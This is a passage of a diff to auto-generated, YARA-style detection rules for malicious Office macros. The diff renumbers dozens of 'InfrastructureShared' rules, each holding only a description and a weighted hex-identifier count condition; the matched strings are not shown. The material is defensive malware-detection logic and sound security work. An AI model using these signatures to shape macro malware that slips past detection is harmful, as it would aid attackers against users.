@@ rule _InfrastructureShared_23514{ ((#a_53_0 & 1)*19747+(#a_22_1 & 1)*25968) >=1 } -rule _InfrastructureShared_23515{ +rule _InfrastructureShared_24801{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 03 00 21 " @@ -306440,7 +322935,7 @@ rule _InfrastructureShared_23515{ ((#a_53_0 & 1)*19747+(#a_01_1 & 1)*1+(#a_01_2 & 1)*1) >=1 } -rule _InfrastructureShared_23516{ +rule _InfrastructureShared_24802{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,04 00 04 00 04 00 21 " @@ -306453,7 +322948,7 @@ rule _InfrastructureShared_23516{ ((#a_53_0 & 1)*19747+(#a_20_1 & 1)*19490+(#a_73_2 & 1)*26708+(#a_62_3 & 1)*12111) >=4 } -rule _InfrastructureShared_23517{ +rule _InfrastructureShared_24803{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -306463,7 +322958,7 @@ rule _InfrastructureShared_23517{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_23518{ +rule _InfrastructureShared_24804{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 05 00 21 " @@ -306477,7 +322972,7 @@ rule _InfrastructureShared_23518{ ((#a_46_0 & 1)*16675+(#a_00_1 & 1)*50+(#a_4d_2 & 1)*18794+(#a_4d_3 & 1)*26436+(#a_6f_4 & 1)*31347) >=1 } -rule _InfrastructureShared_23519{ +rule _InfrastructureShared_24805{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,02 00 02 00 02 00 21 " @@ -306488,7 +322983,7 @@ rule _InfrastructureShared_23519{ ((#a_6c_0 & 1)*16675+(#a_6f_1 & 1)*12139) >=2 } -rule _InfrastructureShared_23520{ +rule _InfrastructureShared_24806{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,03 00 03 00 03 00 21 " @@ -306500,7 +322995,7 @@ rule _InfrastructureShared_23520{ ((#a_46_0 & 1)*16675+(#a_6c_1 & 1)*25960+(#a_67_2 & 1)*19744) >=3 } -rule _InfrastructureShared_23521{ +rule _InfrastructureShared_24807{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,03 00 03 00 03 00 21 " @@ -306512,7 +323007,7 @@ rule _InfrastructureShared_23521{ ((#a_53_0 & 1)*19747+(#a_2b_1 & 1)*12290+(#a_2b_2 & 1)*11008) >=3 } -rule _InfrastructureShared_23522{ +rule _InfrastructureShared_24808{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,03 00 03 00 03 00 21 " @@ -306524,7 +323019,7 @@ rule _InfrastructureShared_23522{ ((#a_53_0 & 1)*19747+(#a_37_1 & 1)*29540+(#a_64_2 & 1)*9760) >=3 } -rule _InfrastructureShared_23523{ +rule _InfrastructureShared_24809{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,04 00 04 00 04 00 21 " @@ -306536,7 +323031,7 @@ rule _InfrastructureShared_23523{ ((#a_53_0 & 1)*19747+(#a_02_1 & 1)*10530+(#a_72_2 & 1)*14930) >=4 } -rule _InfrastructureShared_23524{ +rule _InfrastructureShared_24810{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,05 00 05 00 09 00 21 " @@ -306553,7 +323048,7 @@ rule _InfrastructureShared_23524{ ((#a_4c_0 & 1)*21539+(#a_69_1 & 1)*25697+(#a_01_2 & 1)*29295+(#a_74_4 & 1)*31059+(#a_5f_5 & 1)*31337+(#a_1d_6 & 1)*8306+(#a_78_7 & 1)*14930+(#a_46_8 & 1)*25710) >=5 } -rule _InfrastructureShared_23525{ +rule _InfrastructureShared_24811{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,06 00 06 00 06 00 21 " @@ -306568,7 +323063,7 @@ rule _InfrastructureShared_23525{ ((#a_46_0 & 1)*21283+(#a_6d_1 & 1)*25970+(#a_5f_2 & 1)*31337+(#a_1d_3 & 1)*8306+(#a_78_4 & 1)*14930+(#a_46_5 & 1)*25710) >=6 } -rule _InfrastructureShared_23526{ +rule _InfrastructureShared_24812{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -306578,7 +323073,7 @@ rule _InfrastructureShared_23526{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_23527{ +rule _InfrastructureShared_24813{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 02 00 21 " @@ -306589,7 +323084,7 @@ rule _InfrastructureShared_23527{ ((#a_53_0 & 1)*19747+(#a_64_1 & 1)*17664) >=1 } -rule _InfrastructureShared_23528{ +rule _InfrastructureShared_24814{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 02 00 21 " @@ -306600,7 +323095,7 @@ rule _InfrastructureShared_23528{ ((#a_53_0 & 1)*19747+(#a_2f_1 & 1)*14963) >=1 } -rule _InfrastructureShared_23529{ +rule _InfrastructureShared_24815{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 07 00 21 " @@ -306616,7 +323111,7 @@ rule _InfrastructureShared_23529{ ((#a_53_0 & 1)*19747+(#a_00_1 & 1)*144+(#a_22_2 & 1)*15619+(#a_03_3 & 1)*1424+(#a_20_4 & 1)*656+(#a_23_5 & 1)*4+(#a_21_6 & 1)*20545) >=1 } -rule _InfrastructureShared_23530{ +rule _InfrastructureShared_24816{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,03 00 03 00 03 00 21 " @@ -306627,7 +323122,7 @@ rule _InfrastructureShared_23530{ ((#a_53_0 & 1)*19747+(#a_70_1 & 1)*21612) >=3 } -rule _InfrastructureShared_23531{ +rule _InfrastructureShared_24817{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,04 00 04 00 04 00 21 " @@ -306639,7 +323134,7 @@ rule _InfrastructureShared_23531{ ((#a_46_0 & 1)*16675+(#a_6d_1 & 1)*15648+(#a_73_2 & 1)*16686) >=4 } -rule _InfrastructureShared_23532{ +rule _InfrastructureShared_24818{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,04 00 04 00 04 00 21 " @@ -306651,7 +323146,7 @@ rule _InfrastructureShared_23532{ ((#a_53_0 & 1)*19747+(#a_44_2 & 1)*12032+(#a_41_3 & 1)*9474) >=4 } -rule _InfrastructureShared_23533{ +rule _InfrastructureShared_24819{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,04 00 04 00 04 00 21 " @@ -306663,7 +323158,7 @@ rule _InfrastructureShared_23533{ ((#a_53_0 & 1)*19747+(#a_63_2 & 1)*30022+(#a_78_3 & 1)*21616) >=4 } -rule _InfrastructureShared_23534{ +rule _InfrastructureShared_24820{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,04 00 04 00 04 00 21 " @@ -306676,7 +323171,7 @@ rule _InfrastructureShared_23534{ ((#a_53_0 & 1)*19747+(#a_73_1 & 1)*28521+(#a_22_2 & 1)*24866+(#a_61_3 & 1)*26739) >=4 } -rule _InfrastructureShared_23535{ +rule _InfrastructureShared_24821{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,03 00 03 00 03 00 21 " @@ -306688,7 +323183,7 @@ rule _InfrastructureShared_23535{ ((#a_46_0 & 1)*16675+(#a_20_1 & 1)*8257+(#a_02_2 & 1)*12133) >=3 } -rule _InfrastructureShared_23536{ +rule _InfrastructureShared_24822{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,04 00 04 00 04 00 21 " @@ -306701,7 +323196,7 @@ rule _InfrastructureShared_23536{ ((#a_53_0 & 1)*19747+(#a_20_1 & 1)*16386+(#a_02_2 & 1)*29504+(#a_46_3 & 1)*17408) >=4 } -rule _InfrastructureShared_23537{ +rule _InfrastructureShared_24823{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,04 00 04 00 04 00 21 " @@ -306713,7 +323208,7 @@ rule _InfrastructureShared_23537{ ((#a_53_0 & 1)*19747+(#a_3d_1 & 1)*-254+(#a_26_3 & 1)*4864) >=4 } -rule _InfrastructureShared_23538{ +rule _InfrastructureShared_24824{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 03 00 21 " @@ -306725,7 +323220,7 @@ rule _InfrastructureShared_23538{ ((#a_53_0 & 1)*19747+(#a_6d_1 & 1)*9762+(#a_60_2 & 1)*-28625) >=1 } -rule _InfrastructureShared_23539{ +rule _InfrastructureShared_24825{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 04 00 21 " @@ -306737,7 +323232,7 @@ rule _InfrastructureShared_23539{ ((#a_53_0 & 1)*19747+(#a_0f_1 & 1)*-28629+(#a_53_3 & 1)*15616) >=1 } -rule _InfrastructureShared_23540{ +rule _InfrastructureShared_24826{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,03 00 03 00 03 00 21 " @@ -306749,7 +323244,7 @@ rule _InfrastructureShared_23540{ ((#a_53_0 & 1)*19747+(#a_90_1 & 1)*16386+(#a_01_2 & 1)*1) >=3 } -rule _InfrastructureShared_23541{ +rule _InfrastructureShared_24827{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,03 00 03 00 03 00 21 " @@ -306761,7 +323256,7 @@ rule _InfrastructureShared_23541{ ((#a_53_0 & 1)*19747+(#a_73_1 & 1)*29806+(#a_74_2 & 1)*26994) >=3 } -rule _InfrastructureShared_23542{ +rule _InfrastructureShared_24828{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,03 00 03 00 03 00 21 " @@ -306773,7 +323268,7 @@ rule _InfrastructureShared_23542{ ((#a_53_0 & 1)*19747+(#a_65_1 & 1)*28530+(#a_06_2 & 1)*-28672) >=3 } -rule _InfrastructureShared_23543{ +rule _InfrastructureShared_24829{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,04 00 04 00 04 00 21 " @@ -306786,7 +323281,7 @@ rule _InfrastructureShared_23543{ ((#a_53_0 & 1)*19747+(#a_4f_1 & 1)*817+(#a_01_2 & 1)*1+(#a_01_3 & 1)*1) >=4 } -rule _InfrastructureShared_23544{ +rule _InfrastructureShared_24830{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -306796,7 +323291,7 @@ rule _InfrastructureShared_23544{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_23545{ +rule _InfrastructureShared_24831{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,03 00 03 00 03 00 21 " @@ -306807,7 +323302,7 @@ rule _InfrastructureShared_23545{ ((#a_54_0 & 1)*18467+(#a_74_1 & 1)*26625) >=3 } -rule _InfrastructureShared_23546{ +rule _InfrastructureShared_24832{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,03 00 03 00 03 00 21 " @@ -306819,7 +323314,7 @@ rule _InfrastructureShared_23546{ ((#a_53_0 & 1)*19747+(#a_02_1 & 1)*8736+(#a_6d_2 & 1)*14930) >=3 } -rule _InfrastructureShared_23547{ +rule _InfrastructureShared_24833{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,03 00 03 00 03 00 21 " @@ -306831,7 +323326,7 @@ rule _InfrastructureShared_23547{ ((#a_53_0 & 1)*19747+(#a_3a_1 & 1)*656+(#a_72_2 & 1)*28271) >=3 } -rule _InfrastructureShared_23548{ +rule _InfrastructureShared_24834{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,03 00 03 00 03 00 21 " @@ -306843,7 +323338,7 @@ rule _InfrastructureShared_23548{ ((#a_53_0 & 1)*19747+(#a_3a_1 & 1)*656+(#a_72_2 & 1)*28271) >=3 } -rule _InfrastructureShared_23549{ +rule _InfrastructureShared_24835{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,03 00 03 00 03 00 21 " @@ -306855,7 +323350,7 @@ rule _InfrastructureShared_23549{ ((#a_53_0 & 1)*19747+(#a_2b_1 & 1)*12290+(#a_2e_2 & 1)*12032) >=3 } -rule _InfrastructureShared_23550{ +rule _InfrastructureShared_24836{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,04 00 04 00 04 00 21 " @@ -306868,7 +323363,7 @@ rule _InfrastructureShared_23550{ ((#a_53_0 & 1)*19747+(#a_61_1 & 1)*656+(#a_70_2 & 1)*21024+(#a_28_3 & 1)*28521) >=4 } -rule _InfrastructureShared_23551{ +rule _InfrastructureShared_24837{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,05 00 05 00 05 00 21 " @@ -306881,7 +323376,7 @@ rule _InfrastructureShared_23551{ ((#a_46_0 & 1)*16675+(#a_69_1 & 1)*11040+(#a_65_2 & 1)*8253+(#a_28_3 & 1)*656) >=5 } -rule _InfrastructureShared_23552{ +rule _InfrastructureShared_24838{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,06 00 06 00 06 00 21 " @@ -306896,7 +323391,7 @@ rule _InfrastructureShared_23552{ ((#a_4c_0 & 1)*21539+(#a_67_1 & 1)*19751+(#a_34_2 & 1)*8744+(#a_6b_3 & 1)*30318+(#a_29_4 & 1)*27756+(#a_00_5 & 1)*0) >=6 } -rule _InfrastructureShared_23553{ +rule _InfrastructureShared_24839{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -306906,7 +323401,7 @@ rule _InfrastructureShared_23553{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_23554{ +rule _InfrastructureShared_24840{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 07 00 21 " @@ -306921,7 +323416,7 @@ rule _InfrastructureShared_23554{ ((#a_53_0 & 1)*19747+(#a_6d_1 & 1)*29811+(#a_22_2 & 1)*29548+(#a_90_3 & 1)*16386+(#a_6c_4 & 1)*29300+(#a_61_5 & 1)*24833) >=1 } -rule _InfrastructureShared_23555{ +rule _InfrastructureShared_24841{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,03 00 03 00 03 00 21 " @@ -306933,7 +323428,7 @@ rule _InfrastructureShared_23555{ ((#a_53_0 & 1)*19747+(#a_70_1 & 1)*-28638+(#a_02_2 & 1)*30528) >=3 } -rule _InfrastructureShared_23556{ +rule _InfrastructureShared_24842{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,03 00 03 00 05 00 21 " @@ -306946,7 +323441,7 @@ rule _InfrastructureShared_23556{ ((#a_46_0 & 1)*16675+(#a_73_1 & 1)*25968+(#a_01_2 & 1)*322+(#a_26_4 & 1)*7168) >=3 } -rule _InfrastructureShared_23557{ +rule _InfrastructureShared_24843{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,04 00 04 00 04 00 21 " @@ -306959,7 +323454,7 @@ rule _InfrastructureShared_23557{ ((#a_53_0 & 1)*19747+(#a_4f_1 & 1)*819+(#a_00_2 & 1)*144+(#a_22_3 & 1)*9729) >=4 } -rule _InfrastructureShared_23558{ +rule _InfrastructureShared_24844{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,05 00 05 00 02 00 21 " @@ -306970,7 +323465,7 @@ rule _InfrastructureShared_23558{ ((#a_54_0 & 1)*18467+(#a_90_1 & 1)*3842) >=5 } -rule _InfrastructureShared_23559{ +rule _InfrastructureShared_24845{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,05 00 05 00 05 00 21 " @@ -306984,7 +323479,7 @@ rule _InfrastructureShared_23559{ ((#a_53_0 & 1)*19747+(#a_42_1 & 1)*24941+(#a_0d_2 & 1)*8238+(#a_76_3 & 1)*9760+(#a_43_4 & 1)*30240) >=5 } -rule _InfrastructureShared_23560{ +rule _InfrastructureShared_24846{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,06 00 06 00 06 00 21 " @@ -306999,7 +323494,7 @@ rule _InfrastructureShared_23560{ ((#a_53_0 & 1)*19747+(#a_69_1 & 1)*7936+(#a_65_2 & 1)*25957+(#a_62_3 & 1)*8253+(#a_22_4 & 1)*15648+(#a_61_5 & 1)*28773) >=6 } -rule _InfrastructureShared_23561{ +rule _InfrastructureShared_24847{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,06 00 06 00 06 00 21 " @@ -307013,7 +323508,7 @@ rule _InfrastructureShared_23561{ ((#a_53_0 & 1)*19747+(#a_20_2 & 1)*6400+(#a_69_3 & 1)*656+(#a_90_4 & 1)*8293+(#a_72_5 & 1)*14930) >=6 } -rule _InfrastructureShared_23562{ +rule _InfrastructureShared_24848{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,07 00 07 00 08 00 21 " @@ -307030,7 +323525,7 @@ rule _InfrastructureShared_23562{ ((#a_53_0 & 1)*19747+(#a_69_1 & 1)*16640+(#a_10_2 & 1)*-28640+(#a_75_3 & 1)*8292+(#a_65_4 & 1)*16386+(#a_02_5 & 1)*10+(#a_da_6 & 1)*0+(#a_74_7 & 1)*25962) >=7 } -rule _InfrastructureShared_23563{ +rule _InfrastructureShared_24849{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,0a 00 0a 00 02 00 21 " @@ -307041,7 +323536,7 @@ rule _InfrastructureShared_23563{ ((#a_46_0 & 1)*16675+(#a_20_1 & 1)*8256) >=10 } -rule _InfrastructureShared_23564{ +rule _InfrastructureShared_24850{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,02 00 02 00 04 00 21 " @@ -307054,7 +323549,7 @@ rule _InfrastructureShared_23564{ ((#a_53_0 & 1)*19747+(#a_74_1 & 1)*20481+(#a_74_2 & 1)*18208+(#a_02_3 & 1)*29760) >=2 } -rule _InfrastructureShared_23565{ +rule _InfrastructureShared_24851{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,03 00 03 00 03 00 21 " @@ -307066,7 +323561,7 @@ rule _InfrastructureShared_23565{ ((#a_53_0 & 1)*19747+(#a_02_1 & 1)*8736+(#a_3a_2 & 1)*21587) >=3 } -rule _InfrastructureShared_23566{ +rule _InfrastructureShared_24852{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,03 00 03 00 03 00 21 " @@ -307078,7 +323573,7 @@ rule _InfrastructureShared_23566{ ((#a_53_0 & 1)*19747+(#a_02_1 & 1)*8736+(#a_3a_2 & 1)*21587) >=3 } -rule _InfrastructureShared_23567{ +rule _InfrastructureShared_24853{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,03 00 03 00 03 00 21 " @@ -307090,7 +323585,7 @@ rule _InfrastructureShared_23567{ ((#a_53_0 & 1)*19747+(#a_2b_1 & 1)*12290+(#a_2e_2 & 1)*14592) >=3 } -rule _InfrastructureShared_23568{ +rule _InfrastructureShared_24854{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,03 00 03 00 03 00 21 " @@ -307102,7 +323597,7 @@ rule _InfrastructureShared_23568{ ((#a_53_0 & 1)*19747+(#a_01_1 & 1)*25955+(#a_20_2 & 1)*26740) >=3 } -rule _InfrastructureShared_23569{ +rule _InfrastructureShared_24855{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,03 00 03 00 03 00 21 " @@ -307114,7 +323609,7 @@ rule _InfrastructureShared_23569{ ((#a_53_0 & 1)*19747+(#a_22_1 & 1)*11298+(#a_6e_2 & 1)*24926) >=3 } -rule _InfrastructureShared_23570{ +rule _InfrastructureShared_24856{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,05 00 05 00 05 00 21 " @@ -307128,7 +323623,7 @@ rule _InfrastructureShared_23570{ ((#a_6c_0 & 1)*16675+(#a_6d_1 & 1)*26723+(#a_23_2 & 1)*5+(#a_6b_3 & 1)*28503+(#a_90_4 & 1)*25705) >=5 } -rule _InfrastructureShared_23571{ +rule _InfrastructureShared_24857{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,05 00 05 00 05 00 21 " @@ -307142,7 +323637,7 @@ rule _InfrastructureShared_23571{ ((#a_43_0 & 1)*19747+(#a_41_1 & 1)*20229+(#a_41_2 & 1)*20229+(#a_22_3 & 1)*656+(#a_72_4 & 1)*17184) >=5 } -rule _InfrastructureShared_23572{ +rule _InfrastructureShared_24858{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 09 00 21 " @@ -307159,7 +323654,7 @@ rule _InfrastructureShared_23572{ ((#a_54_0 & 1)*18467+(#a_5f_2 & 1)*25954+(#a_6e_3 & 1)*26725+(#a_26_4 & 1)*10550+(#a_69_5 & 1)*9760+(#a_5f_6 & 1)*8230+(#a_90_7 & 1)*16386+(#a_3d_8 & 1)*10752) >=1 } -rule _InfrastructureShared_23573{ +rule _InfrastructureShared_24859{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,02 00 02 00 02 00 21 " @@ -307170,7 +323665,7 @@ rule _InfrastructureShared_23573{ ((#a_53_0 & 1)*19747+(#a_26_1 & 1)*10549) >=2 } -rule _InfrastructureShared_23574{ +rule _InfrastructureShared_24860{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,03 00 03 00 03 00 21 " @@ -307182,7 +323677,7 @@ rule _InfrastructureShared_23574{ ((#a_53_0 & 1)*19747+(#a_2b_1 & 1)*12290+(#a_2e_2 & 1)*12032) >=3 } -rule _InfrastructureShared_23575{ +rule _InfrastructureShared_24861{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,03 00 03 00 03 00 21 " @@ -307194,7 +323689,7 @@ rule _InfrastructureShared_23575{ ((#a_53_0 & 1)*19747+(#a_2b_1 & 1)*12290+(#a_2e_2 & 1)*12288) >=3 } -rule _InfrastructureShared_23576{ +rule _InfrastructureShared_24862{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,03 00 03 00 03 00 21 " @@ -307206,7 +323701,7 @@ rule _InfrastructureShared_23576{ ((#a_53_0 & 1)*19747+(#a_90_1 & 1)*8235+(#a_90_2 & 1)*12290) >=3 } -rule _InfrastructureShared_23577{ +rule _InfrastructureShared_24863{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,04 00 04 00 04 00 21 " @@ -307219,7 +323714,7 @@ rule _InfrastructureShared_23577{ ((#a_46_0 & 1)*16675+(#a_72_1 & 1)*18041+(#a_28_2 & 1)*11305+(#a_54_3 & 1)*18509) >=4 } -rule _InfrastructureShared_23578{ +rule _InfrastructureShared_24864{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,04 00 04 00 04 00 21 " @@ -307232,7 +323727,7 @@ rule _InfrastructureShared_23578{ ((#a_53_0 & 1)*19747+(#a_6d_1 & 1)*28515+(#a_79_2 & 1)*13113+(#a_73_3 & 1)*29284) >=4 } -rule _InfrastructureShared_23579{ +rule _InfrastructureShared_24865{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,05 00 05 00 05 00 21 " @@ -307246,7 +323741,7 @@ rule _InfrastructureShared_23579{ ((#a_46_0 & 1)*16675+(#a_41_1 & 1)*18802+(#a_6d_2 & 1)*286+(#a_5c_3 & 1)*29556+(#a_6e_4 & 1)*29811) >=5 } -rule _InfrastructureShared_23580{ +rule _InfrastructureShared_24866{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,06 00 06 00 06 00 21 " @@ -307261,7 +323756,7 @@ rule _InfrastructureShared_23580{ ((#a_53_0 & 1)*19747+(#a_28_1 & 1)*25927+(#a_00_2 & 1)*1+(#a_dc_3 & 1)*0+(#a_02_4 & 1)*26774+(#a_90_5 & 1)*11296) >=6 } -rule _InfrastructureShared_23581{ +rule _InfrastructureShared_24867{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -307271,7 +323766,7 @@ rule _InfrastructureShared_23581{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_23582{ +rule _InfrastructureShared_24868{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -307281,7 +323776,7 @@ rule _InfrastructureShared_23582{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_23583{ +rule _InfrastructureShared_24869{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 04 00 21 " @@ -307294,7 +323789,7 @@ rule _InfrastructureShared_23583{ ((#a_53_0 & 1)*19747+(#a_72_1 & 1)*28526+(#a_6c_2 & 1)*30309+(#a_6c_3 & 1)*25960) >=1 } -rule _InfrastructureShared_23584{ +rule _InfrastructureShared_24870{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,02 00 02 00 02 00 21 " @@ -307305,7 +323800,7 @@ rule _InfrastructureShared_23584{ ((#a_46_0 & 1)*16675+(#a_20_1 & 1)*30821) >=2 } -rule _InfrastructureShared_23585{ +rule _InfrastructureShared_24871{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,03 00 03 00 03 00 21 " @@ -307317,7 +323812,7 @@ rule _InfrastructureShared_23585{ ((#a_46_0 & 1)*16675+(#a_54_1 & 1)*11298+(#a_65_2 & 1)*28257) >=3 } -rule _InfrastructureShared_23586{ +rule _InfrastructureShared_24872{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,03 00 03 00 03 00 21 " @@ -307329,7 +323824,7 @@ rule _InfrastructureShared_23586{ ((#a_46_0 & 1)*16675+(#a_00_1 & 1)*10597+(#a_6e_2 & 1)*20992) >=3 } -rule _InfrastructureShared_23587{ +rule _InfrastructureShared_24873{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,03 00 03 00 03 00 21 " @@ -307341,7 +323836,7 @@ rule _InfrastructureShared_23587{ ((#a_53_0 & 1)*19747+(#a_22_1 & 1)*656+(#a_43_2 & 1)*271) >=3 } -rule _InfrastructureShared_23588{ +rule _InfrastructureShared_24874{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,03 00 03 00 03 00 21 " @@ -307353,7 +323848,7 @@ rule _InfrastructureShared_23588{ ((#a_53_0 & 1)*19747+(#a_2b_1 & 1)*12290+(#a_3d_2 & 1)*19200) >=3 } -rule _InfrastructureShared_23589{ +rule _InfrastructureShared_24875{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,03 00 03 00 03 00 21 " @@ -307365,7 +323860,7 @@ rule _InfrastructureShared_23589{ ((#a_53_0 & 1)*19747+(#a_77_1 & 1)*656+(#a_20_2 & 1)*-28638) >=3 } -rule _InfrastructureShared_23590{ +rule _InfrastructureShared_24876{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,04 00 04 00 04 00 21 " @@ -307378,7 +323873,7 @@ rule _InfrastructureShared_23590{ ((#a_53_0 & 1)*19747+(#a_74_1 & 1)*656+(#a_72_2 & 1)*656+(#a_6c_3 & 1)*656) >=4 } -rule _InfrastructureShared_23591{ +rule _InfrastructureShared_24877{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,04 00 04 00 04 00 21 " @@ -307391,7 +323886,7 @@ rule _InfrastructureShared_23591{ ((#a_53_0 & 1)*19747+(#a_2b_1 & 1)*12290+(#a_46_2 & 1)*10240+(#a_20_3 & 1)*28521) >=4 } -rule _InfrastructureShared_23592{ +rule _InfrastructureShared_24878{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,04 00 04 00 04 00 21 " @@ -307404,7 +323899,7 @@ rule _InfrastructureShared_23592{ ((#a_53_0 & 1)*19747+(#a_50_1 & 1)*11008+(#a_20_2 & 1)*8296+(#a_6c_3 & 1)*28737) >=4 } -rule _InfrastructureShared_23593{ +rule _InfrastructureShared_24879{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,05 00 05 00 05 00 21 " @@ -307418,7 +323913,7 @@ rule _InfrastructureShared_23593{ ((#a_4c_0 & 1)*21539+(#a_65_1 & 1)*25167+(#a_20_2 & 1)*30034+(#a_73_3 & 1)*25976+(#a_6f_4 & 1)*29813) >=5 } -rule _InfrastructureShared_23594{ +rule _InfrastructureShared_24880{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,06 00 06 00 06 00 21 " @@ -307432,7 +323927,7 @@ rule _InfrastructureShared_23594{ ((#a_46_0 & 1)*16675+(#a_69_1 & 1)*25711+(#a_6f_2 & 